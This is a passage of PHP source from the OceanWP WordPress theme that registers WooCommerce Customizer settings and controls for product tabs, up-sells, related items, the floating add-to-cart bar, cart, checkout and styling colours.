), 'description' => esc_html__( 'Display message instead of the Add to Cart button to logged out users', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'priority' => 10, 'type' => 'text', 'active_callback' => 'oceanwp_cac_has_single_condition', ) ); // Insert link to My Account page if conditional message displayed $wp_customize->add_setting( 'ocean_single_add_myaccount_link', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_add_myaccount_link', array( 'label' => esc_html__( 'Include My Account page link in conditional message', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_single_add_myaccount_link', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_single_condition', ) ) ); /** * Heading Woo Tabs */ $wp_customize->add_setting( 'ocean_woo_product_tabs_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_product_tabs_heading', array( 'label' => esc_html__( 'Tabs', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'priority' => 10, ) ) ); /** * Tabs Layout */ $wp_customize->add_setting( 'ocean_woo_product_tabs_layout', array( 'transport' => 'postMessage', 'default' => 'horizontal', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_product_tabs_layout', array( 'label' => esc_html__( 'Tabs Layout', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_tabs_layout', 'priority' => 10, 'choices' => array( 'horizontal' => esc_html__( 'Horizontal', 'oceanwp' ), 'vertical' => esc_html__( 'Vertical', 'oceanwp' ), 'section' => esc_html__( 'Section', 'oceanwp' ), ), ) ) ); /** * Tabs Position */ $wp_customize->add_setting( 'ocean_woo_product_meta_tabs_position', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_product_meta_tabs_position', array( 'label' => esc_html__( 'Tabs Position', 'oceanwp' ), 'description' => esc_html__( 'Only work for the horizontal tabs layout', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_product_meta_tabs_position', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), ) ) ); /** * Heading Woo Tabs */ $wp_customize->add_setting( 'ocean_woo_upsells_related_items_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_upsells_related_items_heading', array( 'label' => esc_html__( 'Up-Sells & Related Items', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'priority' => 10, ) ) ); /** * Up-Sells Count */ $wp_customize->add_setting( 'ocean_woocommerce_upsells_count', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woocommerce_upsells_count', array( 'label' => esc_html__( 'Up-Sells Count', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woocommerce_upsells_count', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 100, 'step' => 1, ), ) ) ); /** * Up-Sells Columns */ $wp_customize->add_setting( 'ocean_woocommerce_upsells_columns', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woocommerce_upsells_columns', array( 'label' => esc_html__( 'Up-Sells Columns', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woocommerce_upsells_columns', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 7, 'step' => 1, ), ) ) ); /** * Display Related Items */ $wp_customize->add_setting( 'ocean_woocommerce_display_related_items', array( 'default' => 'on', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woocommerce_display_related_items', array( 'label' => esc_html__( 'Display Related Items', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woocommerce_display_related_items', 'priority' => 10, 'choices' => array( 'on' => esc_html__( 'Yes', 'oceanwp' ), 'off' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Related Items Count */ $wp_customize->add_setting( 'ocean_woocommerce_related_count', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woocommerce_related_count', array( 'label' => esc_html__( 'Related Items Count', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woocommerce_related_count', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 100, 'step' => 1, ), ) ) ); /** * Related Products Columns */ $wp_customize->add_setting( 'ocean_woocommerce_related_columns', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woocommerce_related_columns', array( 'label' => esc_html__( 'Related Products Columns', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woocommerce_related_columns', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 7, 'step' => 1, ), ) ) ); /** * Heading Floating Bar */ $wp_customize->add_setting( 'ocean_woo_floating_bar_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_floating_bar_heading', array( 'label' => esc_html__( 'Floating Bar', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'priority' => 10, ) ) ); /** * Display Floating Bar */ $wp_customize->add_setting( 'ocean_woo_display_floating_bar', array( 'default' => 'on', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_display_floating_bar', array( 'label' => esc_html__( 'Display Floating Bar', 'oceanwp' ), 'description' => esc_html__( 'The floating bar is to display the add to cart button when you scroll to increase conversions.', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_display_floating_bar', 'priority' => 10, 'choices' => array( 'on' => esc_html__( 'Yes', 'oceanwp' ), 'off' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Floating Bar Background */ $wp_customize->add_setting( 'ocean_woo_floating_bar_bg', array( 'default' => '#2c2c2c', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Title Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_title_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_title_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Price Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_price_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_price_color', array( 'label' => esc_html__( 'Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_price_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Quantity Buttons Background */ $wp_customize->add_setting( 'ocean_woo_floating_bar_quantity_buttons_bg', array( 'default' => 'rgba(255,255,255,0.1)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_quantity_buttons_bg', array( 'label' => esc_html__( 'Quantity Buttons: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_quantity_buttons_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Quantity Buttons Hover Background */ $wp_customize->add_setting( 'ocean_woo_floating_bar_quantity_buttons_hover_bg', array( 'default' => 'rgba(255,255,255,0.2)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_quantity_buttons_hover_bg', array( 'label' => esc_html__( 'Quantity Buttons Hover: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_quantity_buttons_hover_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Quantity Buttons Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_quantity_buttons_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_quantity_buttons_color', array( 'label' => esc_html__( 'Quantity Buttons: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_quantity_buttons_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Quantity Buttons Hover Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_quantity_buttons_hover_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_quantity_buttons_hover_color', array( 'label' => esc_html__( 'Quantity Buttons Hover: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_quantity_buttons_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Quantity Input Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_quantity_input_bg', array( 'default' => 'rgba(255,255,255,0.2)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_quantity_input_bg', array( 'label' => esc_html__( 'Quantity Input: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_quantity_input_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Quantity Input Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_quantity_input_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_quantity_input_color', array( 'label' => esc_html__( 'Quantity Input: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_quantity_input_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Add To Cart Background */ $wp_customize->add_setting( 'ocean_woo_floating_bar_addtocart_bg', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_addtocart_bg', array( 'label' => esc_html__( 'Add To Cart: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_addtocart_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Add To Cart Hover Background */ $wp_customize->add_setting( 'ocean_woo_floating_bar_addtocart_hover_bg', array( 'default' => '#f1f1f1', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_addtocart_hover_bg', array( 'label' => esc_html__( 'Add To Cart Hover: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_addtocart_hover_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Add To Cart Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_addtocart_color', array( 'default' => '#000000', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_addtocart_color', array( 'label' => esc_html__( 'Add To Cart: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_addtocart_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Floating Bar Add To Cart Hover Color */ $wp_customize->add_setting( 'ocean_woo_floating_bar_addtocart_hover_color', array( 'default' => '#000000', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_floating_bar_addtocart_hover_color', array( 'label' => esc_html__( 'Add To Cart Hover: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_single', 'settings' => 'ocean_woo_floating_bar_addtocart_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_floating_bar', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_cart' , array( 'title' => esc_html__( 'Cart', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Distraction Free Cart */ $wp_customize->add_setting( 'ocean_woo_distraction_free_cart', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_distraction_free_cart', array( 'label' => esc_html__( 'Distraction Free Cart', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_cart', 'settings' => 'ocean_woo_distraction_free_cart', 'priority' => 10, ) ) ); /** * Cross-Sells Count */ $wp_customize->add_setting( 'ocean_woocommerce_cross_sells_count', array( 'default' => '2', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woocommerce_cross_sells_count', array( 'label' => esc_html__( 'Cart: Cross-Sells Count', 'oceanwp' ), 'section' => 'ocean_woocommerce_cart', 'settings' => 'ocean_woocommerce_cross_sells_count', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 10, 'step' => 1, ), ) ) ); /** * Cross-Sells Columns */ $wp_customize->add_setting( 'ocean_woocommerce_cross_sells_columns', array( 'default' => '2', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woocommerce_cross_sells_columns', array( 'label' => esc_html__( 'Cart: Cross-Sells Columns', 'oceanwp' ), 'section' => 'ocean_woocommerce_cart', 'settings' => 'ocean_woocommerce_cross_sells_columns', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 7, 'step' => 1, ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_checkout' , array( 'title' => esc_html__( 'Checkout', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Distraction Free Checkout */ $wp_customize->add_setting( 'ocean_woo_distraction_free_checkout', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_distraction_free_checkout', array( 'label' => esc_html__( 'Distraction Free Checkout', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_distraction_free_checkout', 'priority' => 10, ) ) ); /** * Multi-Step Checkout */ $wp_customize->add_setting( 'ocean_woo_multi_step_checkout', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_multi_step_checkout', array( 'label' => esc_html__( 'Multi-Step Checkout', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_multi_step_checkout', 'priority' => 10, ) ) ); /** * Multi-Step Checkout Timeline Style */ $wp_customize->add_setting( 'ocean_woo_multi_step_checkout_timeline_style', array( 'transport' => 'postMessage', 'default' => 'arrow', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_multi_step_checkout_timeline_style', array( 'label' => esc_html__( 'Timeline Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_multi_step_checkout_timeline_style', 'priority' => 10, 'choices' => array( 'arrow' => esc_html__( 'Arrow', 'oceanwp' ), 'square' => esc_html__( 'Square', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Background */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_bg', array( 'default' => '#eeeeee', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_bg', array( 'label' => esc_html__( 'Timeline: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Color */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_color', array( 'label' => esc_html__( 'Timeline: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Number Background */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_number_bg', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_number_bg', array( 'label' => esc_html__( 'Timeline Number: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_number_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Number Color */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_number_color', array( 'default' => '#cccccc', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_number_color', array( 'label' => esc_html__( 'Timeline Number: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_number_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Number Color */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_number_border_color', array( 'default' => '#cccccc', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_number_border_color', array( 'label' => esc_html__( 'Timeline Number: Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_number_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Background */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_active_bg', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_active_bg', array( 'label' => esc_html__( 'Timeline Active: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_active_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Multi-Step Checkout Timeline Color */ $wp_customize->add_setting( 'ocean_woo_checkout_timeline_active_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_checkout_timeline_active_color', array( 'label' => esc_html__( 'Timeline Active: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_checkout', 'settings' => 'ocean_woo_checkout_timeline_active_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_multistep_checkout', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_styling' , array( 'title' => esc_html__( 'Advanced Styling', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * On Sale Background */ $wp_customize->add_setting( 'ocean_onsale_bg', array( 'default' => '#3fc387', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_onsale_bg', array( 'label' => esc_html__( 'On Sale Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_onsale_bg', 'priority' => 10, ) ) ); /** * On Sale Color */ $wp_customize->add_setting( 'ocean_onsale_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_onsale_color', array( 'label' => esc_html__( 'On Sale Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_onsale_color', 'priority' => 10, ) ) ); /** * Out of Stock Background */ $wp_customize->add_setting( 'ocean_outofstock_bg', array( 'default' => '#000000', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_outofstock_bg', array( 'label' => esc_html__( 'Out of Stock Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_outofstock_bg', 'priority' => 10, ) ) ); /** * Out of Stock Color */ $wp_customize->add_setting( 'ocean_outofstock_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_outofstock_color', array( 'label' => esc_html__( 'Out of Stock Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_outofstock_color', 'priority' => 10, ) ) ); /** * Stars Color Before */ $wp_customize->add_setting( 'ocean_stars_color_before', array( 'default' => '#dfdbdf', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_stars_color_before', array( 'label' => esc_html__( 'Stars Color Before', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_stars_color_before', 'priority' => 10, ) ) ); /** * Stars Color */ $wp_customize->add_setting( 'ocean_stars_color', array( 'default' => '#f9ca63', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_stars_color', array( 'label' => esc_html__( 'Stars Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_stars_color', 'priority' => 10, ) ) ); /** * Heading Product Entry Toolbar */ $wp_customize->add_setting( 'ocean_product_entry_toolbar_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_product_entry_toolbar_heading', array( 'label' => esc_html__( 'Product Entry: Toolbar', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Tootlbar Border Color */ $wp_customize->add_setting( 'ocean_toolbar_border_color', array( 'default' => '#eaeaea', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_border_color', array( 'label' => esc_html__( 'Border Top/Bottom Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_border_color', 'priority' => 10 ) ) ); /** * Off Canvas Filter Color */ $wp_customize->add_setting( 'ocean_toolbar_off_canvas_filter_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_off_canvas_filter_color', array( 'label' => esc_html__( 'Off Canvas Filter Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_off_canvas_filter_color', 'priority' => 10 ) ) ); /** * Off Canvas Filter Border Color */ $wp_customize->add_setting( 'ocean_toolbar_off_canvas_filter_border_color', array( 'default' => '#eaeaea', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_off_canvas_filter_border_color', array( 'label' => esc_html__( 'Off Canvas Filter Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_off_canvas_filter_border_color', 'priority' => 10 ) ) ); /** * Off Canvas Filter Hover Color */ $wp_customize->add_setting( 'ocean_toolbar_off_canvas_filter_hover_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_off_canvas_filter_hover_color', array( 'label' => esc_html__( 'Off Canvas Filter Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_off_canvas_filter_hover_color', 'priority' => 10 ) ) ); /** * Off Canvas Filter Hover Border Color */ $wp_customize->add_setting( 'ocean_toolbar_off_canvas_filter_hover_border_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_off_canvas_filter_hover_border_color', array( 'label' => esc_html__( 'Off Canvas Filter Hover Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_off_canvas_filter_hover_border_color', 'priority' => 10 ) ) ); /** * Grid/List Color */ $wp_customize->add_setting( 'ocean_toolbar_grid_list_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_grid_list_color', array( 'label' => esc_html__( 'Grid/List Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_grid_list_color', 'priority' => 10 ) ) ); /** * Grid/List Border Color */ $wp_customize->add_setting( 'ocean_toolbar_grid_list_border_color', array( 'default' => '#eaeaea', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_grid_list_border_color', array( 'label' => esc_html__( 'Grid/List Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_grid_list_border_color', 'priority' => 10 ) ) ); /** * Grid/List Hover Color */ $wp_customize->add_setting( 'ocean_toolbar_grid_list_hover_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_grid_list_hover_color', array( 'label' => esc_html__( 'Grid/List Hover Color', 'oceanwp' ), 'section' => 